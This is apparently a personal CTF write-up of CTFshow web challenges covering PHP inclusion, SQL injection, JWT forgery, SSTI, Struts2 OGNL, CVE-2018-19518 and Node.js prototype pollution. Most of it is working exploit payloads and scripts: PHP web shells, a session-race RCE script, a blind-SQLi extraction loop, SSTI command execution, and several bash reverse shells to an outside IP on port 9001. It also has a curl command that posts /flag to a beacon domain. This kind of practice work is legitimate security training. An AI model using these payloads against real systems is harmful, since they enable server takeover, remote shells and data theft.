I want to become stronger!
CTFshow VIP question bank is starting!
PHP File Inclusion#
web78#
Bare include without any filtering directly leads to include2shell exploitation.
Oh, this doesn't even require include2shell, as these filters are not enabled.
Then just read it directly.
php://filter/convert.base64-encode/resource=flag.php
web79#
PHP fields are filtered, use data protocol to pass a horse in.
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==
web80#
Damn, they filtered data as well.
But they didn't filter case sensitivity, so using PHP://input and writing a horse with post content allows us to read cat fl0g.php.
web81#
How did byd filter the colon?
This time we need to log the inclusion properly.
nginx log path: /var/log/nginx/access.log
apache log path: /var/log/apache2/access.log
Logs will record URL and UA, since the URL will be encoded, we write a horse in UA.
Change the UA to the PHP command to be executed. It must succeed in one go; if there is a problem, it will result in a fatal error, and the environment can only be restarted.
In short, set the UA to <?php system('cat fl0g.php');?>
and access it several times to get the result.
web82#
This question filtered the dot, you are ruthless.
Create a session competition inclusion, see here for details https://www.freebuf.com/vuls/202819.html
import io
import requests
import threading
sessid = 'tri'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
with requests.session() as session:
while True:
POST(session)
print(f"[+] Successfully wrote sess_{sessid}")
While sending this, include /tmp/sess_SESSID to achieve RCE.
This will not open a competition environment, so finish writing wp first and do not proceed.
First do the non-competitive ones.
web87#
There is a line.
file_put_contents(urldecode($file), "<?php die('Stop showing off, big shot!');?>".$content);
A death exit, so we need to perform some operations to escape this die before writing the shell.
Here, the file can use a pseudo-protocol to construct a write pseudo-protocol with a rot13 filter, while pre-rot13 the content to escape die and restore the content to its original form.
php://filter/write=string.rot13/resource=2.php
Here, it needs to go through URL encoding twice because it will be decoded passively once more.
web88#
preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)
Looks like a lot has been filtered.
In reality, directly using the payload from 79 can pass. Just find a password encoded in base64 that does not contain special characters.
web116#
Extract png from mp4, which is a screenshot of the source code.
Filtered a bunch, but I found I can directly include flag.php to get the flag.
web117#
Looks a lot like web87? But it filtered rot13, so we need to find another way to escape the death exit.
Found some methods from https://www.anquanke.com/post/id/202510#h2-14
By using UCS-2 method, reverse the target string in pairs of two (here 2LE and 2BE can be seen as examples of little-endian and big-endian), which means that the constructed malicious code needs to be a multiple of 2 in UCS-2, otherwise it cannot be reversed normally (excess strings that do not meet the requirement will be truncated), so we can use this filter for encoding conversion bypass.
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php
Is the contents also pre-reversed? <hp pvela$(G_TE'[mc'd)]?;>>
This way we have a web shell.
PHP Features#
This section is just brushing the basics.
web89#
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
Classic bypass of pregmatch, here using an array to bypass pregmatch will return false when parameters are invalid.
?num[]=1
web90#
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
First is a strict comparison to 4476, then uses intval.
The working principle of intval($num,0) is as follows:
If base is 0, it decides which base to use by checking the format of var:
- If the string includes the prefix "0x" (or "0X"), use hexadecimal (hex); otherwise,
- If the string starts with "0", use octal; otherwise,
- It will use decimal (decimal).
This way we can construct a payload using base.
?num=0x117c
0x117c converts to decimal as 4476.
web91#
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
The first line regex has an extra m modifier, which means multi-line matching.
So we can construct a string with a newline.
In the URL, the newline character is %0a.
So set cmd=%0aphp to meet the condition.
web92#
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
Can directly use the payload from 90, the principle is the same.
web93#
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
Not allowing the use of base conversion with intval, so we can set num=4476.1, which will truncate the decimal when converting to int.
web94#
if(!strpos($num, "0")){
die("no no no!");
}
This question adds a restriction based on the previous one, requiring num to contain 0.
So set num=4476.10 to pass.
web95#
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
The decimal point is banned.
?num=+010574 can bypass using octal, adding a plus sign in front allows intval to recognize it as an integer.
web96#
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
Not allowing direct passing of flag.php, so pass ./flag.php.
web97#
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
Weak comparison with md5, directly bypass with an array.
a[]=1&b[]=a
web98#
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
What is this?
This is really low-level, you won't encounter such a question.
1. **`include("flag.php");`**: Attempts to include a file named "flag.php". This file may contain sensitive information, but we cannot determine its content since it is not provided.
2. **`$_GET?$_GET=&$_POST:'flag';`**: This line actually checks for the existence of a GET request and sets **`$_GET`** to **`$_POST`**, otherwise sets **`$_GET`** to the string 'flag'.
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: If **`$_GET['flag']`** equals 'flag', then set **`$_GET`** to **`$_COOKIE`**, otherwise set **`$_GET`** to the string 'flag'.
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: Similar to the previous line, if **`$_GET['flag']`** equals 'flag', then set **`$_GET`** to **`$_SERVER`**, otherwise set **`$_GET`** to the string 'flag'.
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: Uses **`highlight_file`** function to highlight the source code of a file. Depending on whether **`$_GET['HTTP_FLAG']`** equals 'flag', it decides whether to display the content of 'flag.php' or the current file.
According to ChatGPT's explanation, just pass anything in GET, then post HTTP_FLAG=flag to see the flag in the error message.
web99#
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
Here, we exploit the in_array vulnerability, as the default strict mode of this function is false. First, fill the array with some random numbers, so when n starts with a number, weak comparison will ignore the characters after n. Therefore, set n=1.php, as 1 will definitely be included in allow, so it will pass.
n=1.php&content=<?php system($_POST[1]);?>
web100#
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
v0 has an assignment operation, as the assignment operation has a higher priority than the and operation, so only v1 needs to be a number.
v2 cannot contain ;, and v3 must contain ;, so we can use ?> to truncate in v2.
?v1=1
&v2=var_dump($ctfshow)?>
&v3=;
Dump this object, converting 0x2d to - is the flag.
web101#
Modified the regex in 100 to require no numbers and symbols.
You can use echo new Reflectionclass to get the parameters of this class to obtain the flag.
web102#
web110#
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
A native class that only allows letters.
First use
?v1=FilesystemIterator
&v2=getcwd
To get the files in the current directory.
After seeing the flag file, just access this file to see the flag.
web111#
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
There is a variable variable v2.
Set v1=ctfshow and v2=GLOBALS, then after overriding, it will var_dump GLOBALS to output the variable including the flag.
web112#
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
Use PHP pseudo-protocol to read directly: php://filter/resource=flag.php.
web113#
Banned filter, use compress.zlib to read.
web114#
=web112
web115#
In PHP, "36" is equal to "\x0c36", and trim will not filter out \x0c, which is %0c.
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
num=%0c36
web123#
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
if($fl0g==="flag_give_me"){
echo $flag; this is pure misdirection, we can just eval and directly echo the flag.
web125#
The question restricts that $c<=16, not the length less than 16, so we can directly eval and then use GET to pass in the command.
web126#
PHP7 cannot directly use assert to execute functions, so use assert($a[0]) ?fl0g=flag_give_me to execute the assignment statement.
web127#
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//Special character detection
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\=|\{|\[|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("Hmm?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
Query prohibits passing in these characters, so use ctf show to let PHP process illegal parameter names automatically converted to _ to bypass.
web128#
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "Hmm?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
Two layers of user functions, no letters or numbers.
Get_defined_vars is similar to GLOBALS, returning an array of all defined variables.
SQLi#
web171#
//Concatenating SQL statements to find users with specified ID
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
Simply concatenate directly.
‘ or 1=1 —+
This can make all conditions true and return all accounts.
web172#
Added a layer of checks.
//Check if the result contains flag
if($row->username!=='flag'){
$ret['msg']='Query successful';
}
Therefore, use union to perform a combined query.
1' union select 2,password from ctfshow_user2 --+
Make username always 2.
So we can query the result.
web173#
Similar to 172, but with three fields, just modify it.
web174#
Prohibits the result from containing flag and numbers, so use boolean blind injection to get the flag.
import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"
url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="
flag = ""
while True:
for i in word:
r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
if "admin" in r.text:
flag += i
print(flag)
break
web175#
This question prohibits all ASCII characters, meaning no echo is possible. Time-based blind injection can be used.
You can also use into outfile to write the result to an external website file.
1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+
web176#
This question has a WAF, not sure what it filters.
Using a' or 1=1 --+ can directly bypass.
web177#
Here the WAF filters spaces, so replace all spaces with /**/ line comments and then use union select to query.
web178#
This question filters all comment symbols, so use %0b or %09 to replace spaces.
Or use a payload that does not require spaces.
'or'1'='1'%23
web179#
Still changing the filtering on spaces, so use the payload above.
web180#
Prohibits using # to comment out the remaining content of the statement, changed to use --+ where + needs to be URL encoded to %0c.
JWT#
web345#
Where is the flag? Check the response headers, there is an auth cookie giving a jwt and hints to access admin.
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0
Decoding it shows that there is no signed jwt, just change sub to admin and try.
Access admin with the modified jwt to obtain the flag.
web346#
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH
Now the jwt has a signature, using the HS256 algorithm, we need to crack the secret key first.
This question tests one of the jwt attack methods where alg is set to none, as some backends will not verify the signature when you set the alg in the jwt header to none.
Use jwttools to generate a modified jwt with admin.
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa
Then use -Xa to execute the none attack.
Using this jwt to access will get the flag.
web347#
The question hints at a weak JWT password, brute force the sk to 123456.
Directly modify admin and access to obtain the flag.
web348#
Similarly, brute force the dictionary to get aaab.
web349#
This is a private key leak question, accessing /private.key can obtain the private key.
Modify it to admin and directly sign it.
web350#
Leaked the publicKey.
This question exploits CVE-2016-5431, which changes RS256 asymmetric encryption to HS256 symmetric encryption, a signature algorithm confusion, but the verification is not strict.
Tried using the jwt package in Python but it didn't work, possibly due to different internal signing logic.
Use a JS script to import the same package.
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);
Then use this token to access and get the flag.
SSTI#
Classic summary https://tttang.com/archive/1698/
web361#
The question description is The name is the key point
, probably testing name query SSTI.
?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}
web362#
Added filtering.
Here the filtering statement is 2|3.
Not sure what it filters, but the above payload can still be used.
web363#
It seems to filter single quotes.
So replace the string in single quotes with request.args.a and pass a=os.
?name={{self.__init__.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}&a=os&b=env
web364#
Tried it out, it filters args.
So use cookies instead.
?name={{self.__init__.__globals__.__builtins__.__import__(request.cookies.a).popen(request.cookies.b).read()}}
At the same time, pass in cookies a=os;b=env.
web365#
This filters both single and double quotes.
So use request.cookies or request.values instead, here using |attr() to bypass.
The previous payload had too many underscores, so find one with fewer.
?name={{(lipsum | attr(request.cookies.c)).os.popen(request.cookies.b).read()}}
b=env;c=globals.
web366#
Filtered os.
?name={{(lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()}}
b=env;c=globals;d=os.
web367#
Filtered {{ and }.
So use {+% and %+} instead, and add a print to the original payload.
?name={% print((lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()) %}
web368#
Filtered request.
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}
Used a very complicated payload, the basic idea is to get the strings of each needed part and save them in variables, get the chr function to concatenate the required command, and finally use these variables to concatenate and execute the command.
web370#
This question filters numbers, so use count to get.
Another trick is to use full-width numbers instead of half-width numbers.
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("Enter the number string you want to convert: ")
for i in s:
t += half2full(i)
print(t)
Replace all numbers in the original payload with this.
web371#
This question prohibits print, so we need to find another way to exfiltrate data.
Here we can use curl to access a beacon to exfiltrate data.
The specific command is
curl -X POST -F xx=@/flag domain
@ can read this file and send the content out.
web372#
Prohibits count, so use the full-width numbers from 370.
I encountered a very comprehensive SSTI question when doing ISCC, here https://blog.csdn.net/c868954104/article/details/131003141
JAVA#
web279#
The question hints at S2-001, directly using struts2 tools to exploit.
web280#
S2-005, similarly exploit.
web281#
S2-007, exploit.
web282#
S2-008, exploit.
web283#
Exploit, not sure what I'm doing, this tool is crazy.
web284#
S2-016, universally exploit.
web285#
Exploit.
web286#
Exploit.
web287#
Exploit.
web288#
Exploit.
web289#
S2-029, this one doesn't have a one-click exp, looked it up online, the title misled me into thinking it was S2-032 successful.
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))
web290#
Exploit.
web291#
Exploit.
web292#
Exploit.
web293#
Exploit.
web294#
Exploit.
web295#
Also no exp, found one online.
At the /integration/saveGangster.action path in showcase, input OGNL syntax, ${10-7}.
The result is 3, indicating successful execution.
Then similar to SSTI RCE to take it down.
web296#
Exploit.
web297#
Exploit.
web298#
Finally not a S2 series universal exploit!
This question has a pit! The default entry path is /, which is a 404, you need to manually jump to ctfshow/.
Provided the source code, it needs to satisfy
public boolean getVipStatus() {
return this.username.equals("admin") && this.password.equals("ctfshow");
}
Oh.
This low-level question requires manually adjusting the login directory with no hints.
/ctfshow/login?username=admin&password=ctfshow.
web299#
There is a line of comments.
But there is no .php, instead reading the commonly used java jsp.
Then scan /WEB-INF/web.xml and find com.ctfshow.servlet.GetFlag.
Try reading it.
The corresponding file path is /WEB-INF/classes/com/ctfshow/servlet/GetFlag.class.
In the read source code, there is a line.
Use ../../../../fl3g to read the flag.
web300#
Similar to the previous question, just wrapped in a php skin. I want to use include2shell to expose its true form.
PHPCVE#
Web312#
- Environment
See that it is php5.6.38, an email system.
Querying CVE finds CVE-2018-19518.
By setting -oProxyCommand= to call third-party commands, attackers can inject this parameter, ultimately leading to command execution vulnerabilities.
The method of exploitation: first write a one-liner, then base64 encode it and use shell commands to write it into a file.
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php
Then write this base64 into the exp.
x -oProxyCommand=echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64 -d|sh}
Fill it in the hostname, note that the front must be x, and it needs to be URL encoded twice.
Then you can achieve RCE.
NodeJS#
Basic treasure chest: https://xz.aliyun.com/t/11791
web334#
This section is a nodejs question.
Download the source code and see that it needs to bypass this segment.
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
Then looking at it, oh, the account and password are given.
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
web335#
Where is the flag?
F12 to see the comments.
<!-- /?eval= -→
It seems to be RCE in nodejs.
Using require("child_process").execSync("ls"); to RCE, successfully reading the flag.
web336#
Still where is the flag?
But it seems there is some filtering, filtering exec? Not sure.
https://forum.butian.net/share/1631 has some common bypass methods.
require("child_process")["ex"+"ecSync"]('ls');
Using [] to execute the method, concatenating the string to bypass the exec restriction.
Note that special characters need to be URL encoded.
web337#
The question gives the source code.
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
It turns out to be a classic bypass.
Use nodejs features to pass in two objects.
a[a]=1&b[b]=2
Internally represented as
a={'a':'1'}
b={'b':'2'}
This way it bypasses the restrictions.
web338#
This question requires secert.ctfshow===36dboy.
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
And found a copy function.
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
Clearly a pollution vulnerability!
Construct a request.
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
Note that this package hackbar has issues, it needs to be sent hard with bp or requests.
After sending, I got the flag.
web339#
The source code is similar to 338, but the requirement is secert.ctfshow===flag, which is clearly impossible.
Also added an api route.
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
What is this query? It's nowhere to be found, so we should pollute this object.
Since we don't know the flag's location, just use the simplest payload to pop a shell.
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}}
Then accessing /api will automatically pop a shell.
Access /app/routes/login.js to get the flag.
> PS: If there is no require in the context (like Code-Breaking 2018 Thejs), you can use global.process.mainModule.constructor._load('child_process').exec('calc') to execute commands.
web340#
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
Similar to the previous, but it needs to pollute two layers upwards.
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}
web341#
This question removed the api routes from 339 and 340, so we can't RCE by polluting query.
So use the prototype chain pollution to trigger the ejs RCE payload to pop a shell.
For details, see https://xz.aliyun.com/t/7075.
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}
web342#
This question uses the jade template engine, so we need to use the jade prototype chain pollution RCE exploit chain.
For details, see https://xz.aliyun.com/t/7025#toc-5.
The same payload is used twice.
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}
web343#
Using the same payload as 342 will work, not sure what it filters.
web344#
This question showcases the low-level nature of nodejs.
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
The payload to use is ?query={"name":"admin"&query="password":"ctfshow"&query="isVIP"}.
You just told me that these truncated parameters can be pieced together internally, why can’t they be concatenated in the backend?
URL encode all the queries and you can pass them in.
Nodejs has concluded!
SSRF#
web351#
This question provides a curl environment that allows passing in curl content.
Directly use the file protocol to read flag.php.
web352#
Only allows http/s protocols and non-localhost/127.0.0.1, but for some reason http://127.0.0.1/flag.php can still get the flag.
web353#
Strengthened the regex, but in Linux, as long as it starts with 127, it can represent the local address, so replace 127.0.0.1 with another IP to achieve the same effect.
web354#
Matched localhost|1|0|.
That is, you cannot use localhost/127 or 0 anymore. At this time, you can use a domain name that resolves to 127.0.0.1 to achieve the same effect.
web355#
Requires the host length to be less than 5, so use 0 to represent the local IP.
web356#
Same as above, changing the host length restriction to less than or equal to 3.
Midterm Assessment#
web486#
The default access path is /index.php?action=login.
I intuitively feel that this action must be an include or something.
So I changed it to /etc/passwd to try.
Sure enough.
After fuzzing a few files, I found the flag in /var/www/html/flag.php, without needing to bypass the .php at the end.